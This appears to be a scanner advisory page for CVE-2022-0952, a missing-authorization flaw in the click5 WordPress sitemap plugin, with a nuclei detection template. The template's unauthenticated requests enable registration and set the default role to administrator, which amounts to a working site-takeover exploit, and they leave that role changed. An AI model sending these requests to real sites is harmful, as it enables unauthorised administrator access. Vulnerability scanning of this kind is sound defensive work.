WordPress Sitemap by click5 <1.0.36 - Missing Authorization

highseverity

8.8CVSS score

11.4%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress Sitemap by click5 plugin before 1.0.36 is susceptible to missing authorization. The plugin does not have authorization or CSRF checks when updating options via a REST endpoint and does not ensure that the option to be updated belongs to the plugin. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.

Fix

Update to the latest version of the WordPress Sitemap plugin by click5 (1.0.36 or higher) to fix the missing authorization issue.

How to confirm it

Send: POST /wp-json/click5_sitemap/API/update_html_option_AJAX
Positive when: contains(header, "application/json") and status_code == 200 and contains(body_1, 'users_can_register') and contains(body_2, 'default_role')

Run it with nuclei: nuclei -id CVE-2022-0952 -u <target>

The full check

id: CVE-2022-0952

info:
  name: WordPress Sitemap by click5 <1.0.36 - Missing Authorization
  author: random-robbie
  severity: high
  description: |
    WordPress Sitemap by click5 plugin before 1.0.36 is susceptible to missing authorization. The plugin does not have authorization or CSRF checks when updating options via a REST endpoint and does not ensure that the option to be updated belongs to the plugin. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Update to the latest version of the WordPress Sitemap plugin by click5 (1.0.36 or higher) to fix the missing authorization issue.
  reference:
    - https://wpscan.com/vulnerability/0f694961-afab-44f9-846c-e80a0f6c768b
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0952
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/RandomRobbieBF/CVE-2022-0952
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-0952
    cwe-id: CWE-352
    epss-score: 0.11419
    epss-percentile: 0.96037
    cpe: cpe:2.3:a:sitemap_project:sitemap:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: sitemap_project
    product: sitemap
    framework: wordpress
  tags: cve,cve2022,wp,wp-plugin,sitemap,wpscan,wordpress,sitemap_project,vkev,vuln

http:
  - raw:
      - |
        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json;charset=UTF-8

        {"users_can_register":"1"}
      - |
        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json;charset=UTF-8

        {"default_role":"administrator"}
      - |
        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json;charset=UTF-8

        {"users_can_register":"0"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "application/json")'
          - "status_code == 200"
          - "contains(body_1, 'users_can_register')"
          - "contains(body_2, 'default_role')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from